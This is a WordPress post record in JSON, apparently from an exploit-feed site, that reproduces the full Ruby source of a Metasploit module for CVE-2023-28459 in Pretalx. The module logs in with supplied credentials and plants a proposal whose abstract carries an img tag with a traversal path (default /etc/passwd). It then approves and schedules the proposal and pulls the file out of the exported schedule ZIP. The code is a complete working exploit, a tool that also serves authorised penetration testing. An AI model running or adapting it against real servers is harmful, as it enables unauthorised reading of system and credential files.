{"id":15171,"date":"2025-08-29T17:45:03","date_gmt":"2025-08-29T17:45:03","guid":{"rendered":"http:\/\/localhost\/?p=15171"},"modified":"2025-08-29T17:45:03","modified_gmt":"2025-08-29T17:45:03","slug":"pretalx-arbitrary-file-readlimited-file-write","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15171","title":{"rendered":"Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:54:51&#8243;,&#8221;description&#8221;:&#8221;This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:53:45&#8243;,&#8221;modified&#8221;:&#8221;2025-08-29T18:53:27&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pretalx Arbitrary File Read\/Limited File Write&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-28459&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire &#8216;zip&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n\\n  include Msf::Exploit::Remote::HTTP::Pretalx\\n  include Msf::Auxiliary::Report\\n  include Msf::Auxiliary::Scanner\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Pretalx Arbitrary File Read\/Limited File Write&#8217;,\\n        &#8216;Description&#8217; =\\u003e &#8216;This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx will iteratively include any file referenced by any HTML tag and does not properly check the path of the file, which can lead to arbitrary file read. The module requires credentials that allow schedule export, schedule release and approval of proposals. Additionally, module requires conference name and URL for media files.&#8217;,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Stefan Schiller&#8217;, # security researcher\\n          &#8216;msutovsky-r7&#8217; # module dev\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n        }\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;FILEPATH&#8217;, [true, &#8216;The path to the file to read&#8217;, &#8216;\/etc\/passwd&#8217;]),\\n      OptString.new(&#8216;MEDIA_URL&#8217;, [true, &#8216;Prepend path to file path that allows arbitrary read&#8217;, &#8216;\/media&#8217;]),\\n      OptString.new(&#8216;EMAIL&#8217;, [true, &#8216;User email to Pretalx backend&#8217;]),\\n      OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Password to Pretalx backend&#8217;])\\n    ])\\n    register_advanced_options([\\n      OptInt.new(&#8216;ExportTimeout&#8217;, [true, &#8216;Set wait time for schedule export&#8217;, 5])\\n    ])\\n  end\\n\\n  def check_host(_ip)\\n    return Exploit::CheckCode::Unknown(&#8216;Login failed, please check credentials&#8217;) unless login(datastore[&#8216;EMAIL&#8217;], datastore[&#8216;PASSWORD&#8217;])\\n\\n    version = get_version\\n\\n    return Exploit::CheckCode::Detected unless version\\n\\n    return Exploit::CheckCode::Appears(\\&#8221;Detected vulnerable version #{version}\\&#8221;) if version \\u003c= Rex::Version.new(&#8216;2.3.1&#8217;)\\n\\n    return Exploit::CheckCode::Safe(\\&#8221;Detected version #{version} is not vulnerable\\&#8221;)\\n  rescue UnexpectedResponseError\\n    return Exploit::CheckCode::Unknown(&#8216;Received unexpected response, check your options&#8217;)\\n  rescue VersionCheckError\\n    return Exploit::CheckCode::Detected(&#8216;Pretalx detected, failed to verify version&#8217;)\\n  rescue CsrfError\\n    return Exploit::CheckCode::Unknown(&#8216;Failed to get CSRF token&#8217;)\\n  rescue SessionCookieError\\n    return Exploit::CheckCode::Detected(&#8216;Pretalx detected, failed to get session cookie &#8211; check your credentials&#8217;)\\n  end\\n\\n  def run_host(ip)\\n    vprint_status(&#8216;Register malicious proposal&#8217;)\\n\\n    proposal_info = {\\n      abstract: %\\u003c(\\u003cimg src=\\&#8221;#{datastore[&#8216;MEDIA_URL&#8217;]}\/\/#{datastore[&#8216;FILEPATH&#8217;]}\\&#8221;\/\\u003e\\u003e,\\n      email: datastore[&#8216;EMAIL&#8217;],\\n      password: datastore[&#8216;PASSWORD&#8217;]\\n    }\\n\\n    registration_info = register_proposal(proposal_info)\\n    proposal_name = registration_info[:proposal_name]\\n    vprint_status(\\&#8221;Submit proposal #{proposal_name}\\&#8221;)\\n\\n    vprint_status(\\&#8221;Logging with credentials: #{datastore[&#8216;EMAIL&#8217;]}\/#{datastore[&#8216;PASSWORD&#8217;]}\\&#8221;)\\n    fail_with(Failure::NoAccess, &#8216;Incorrect credentials&#8217;) unless login(datastore[&#8216;EMAIL&#8217;], datastore[&#8216;PASSWORD&#8217;])\\n\\n    vprint_status(&#8216;Approving proposal&#8217;)\\n    approve_proposal(proposal_name)\\n\\n    vprint_status(\\&#8221;Adding #{proposal_name} to schedule\\&#8221;)\\n    fail_with(Failure::Unknown, &#8216;Failed to add submission to schedule&#8217;) unless add_proposal_to_schedule(proposal_name)\\n    vprint_status(&#8216;Releasing schedule&#8217;)\\n    release_schedule\\n\\n    vprint_status(&#8216;Exporting schedule&#8217;)\\n    export_zip\\n\\n    vprint_status(&#8216;Wait for schedule ZIP to be exported&#8217;)\\n\\n    sleep(datastore[&#8216;ExportTimeout&#8217;])\\n\\n    vprint_status(&#8216;Trying to extract target file&#8217;)\\n\\n    zip_data = download_zip\\n\\n    zip = Zip::File.open_buffer(zip_data)\\n    target_entry = zip.find_entry(\\&#8221;#{datastore[&#8216;CONFERENCE_NAME&#8217;]}#{datastore[&#8216;MEDIA_URL&#8217;]}#{datastore[&#8216;FILEPATH&#8217;]}\\&#8221;)\\n    fail_with Failure::PayloadFailed, &#8216;Failed to extract target file, check if export worked&#8217; unless target_entry\\n    extracted_content = zip.read(zip.find_entry(target_entry))\\n\\n    vprint_status(&#8216;Extraction successful&#8217;)\\n\\n    loot_path = store_loot(\\n      \\&#8221;pretalx.#{datastore[&#8216;FILEPATH&#8217;]}\\&#8221;,\\n      &#8216;text\/plain&#8217;,\\n      ip,\\n      extracted_content,\\n      \\&#8221;pretalx-#{datastore[&#8216;FILEPATH&#8217;]}.txt\\&#8221;,\\n      &#8216;Pretalx&#8217;\\n    )\\n    print_status(\\&#8221;Stored results in #{loot_path}\\&#8221;)\\n\\n    report_vuln({\\n      host: rhost,\\n      port: rport,\\n      name: name,\\n      refs: references,\\n      info: \\&#8221;Module #{fullname} successfully leaked file\\&#8221;\\n    })\\n  end\\n\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/scanner\/http\/pretalx_file_read_cve_2023_28459.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:6.5,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/pretalx_file_read_cve_2023_28459\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:54:51&#8243;,&#8221;description&#8221;:&#8221;This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:53:45&#8243;,&#8221;modified&#8221;:&#8221;2025-08-29T18:53:27&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pretalx Arbitrary File Read\/Limited File Write&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-28459&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n#&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,169,13,7,11,5],"class_list":["post-15171","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15171\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:54:51&#8243;,&#8221;description&#8221;:&#8221;This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:53:45&#8243;,&#8221;modified&#8221;:&#8221;2025-08-29T18:53:27&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pretalx Arbitrary File Read\/Limited File Write&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-28459&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit: https:\/\/metasploit.com\/downloadn#...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15171\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T17:45:03+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15171#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15171\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Pretalx Arbitrary File Read\\\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-\",\"datePublished\":\"2025-08-29T17:45:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15171\"},\"wordCount\":852,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.5\",\"exploit\",\"MEDIUM\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15171#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15171\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15171\",\"name\":\"Pretalx Arbitrary File Read\\\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T17:45:03+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15171#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15171\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15171#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Pretalx Arbitrary File Read\\\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15171","og_locale":"en_US","og_type":"article","og_title":"Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:54:51&#8243;,&#8221;description&#8221;:&#8221;This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-28T18:53:45&#8243;,&#8221;modified&#8221;:&#8221;2025-08-29T18:53:27&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pretalx Arbitrary File Read\/Limited File Write&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-28459&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit: https:\/\/metasploit.com\/downloadn#...","og_url":"https:\/\/zero.redgem.net\/?p=15171","og_site_name":"zero redgem","article_published_time":"2025-08-29T17:45:03+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15171#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15171"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-","datePublished":"2025-08-29T17:45:03+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15171"},"wordCount":852,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.5","exploit","MEDIUM","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15171#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15171","url":"https:\/\/zero.redgem.net\/?p=15171","name":"Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T17:45:03+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15171#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15171"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15171#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Pretalx Arbitrary File Read\/Limited File Write_MSF:AUXILIARY-SCANNER-HTTP-PRETALX_FILE_READ_CVE_2023_28459-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15171"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15171\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}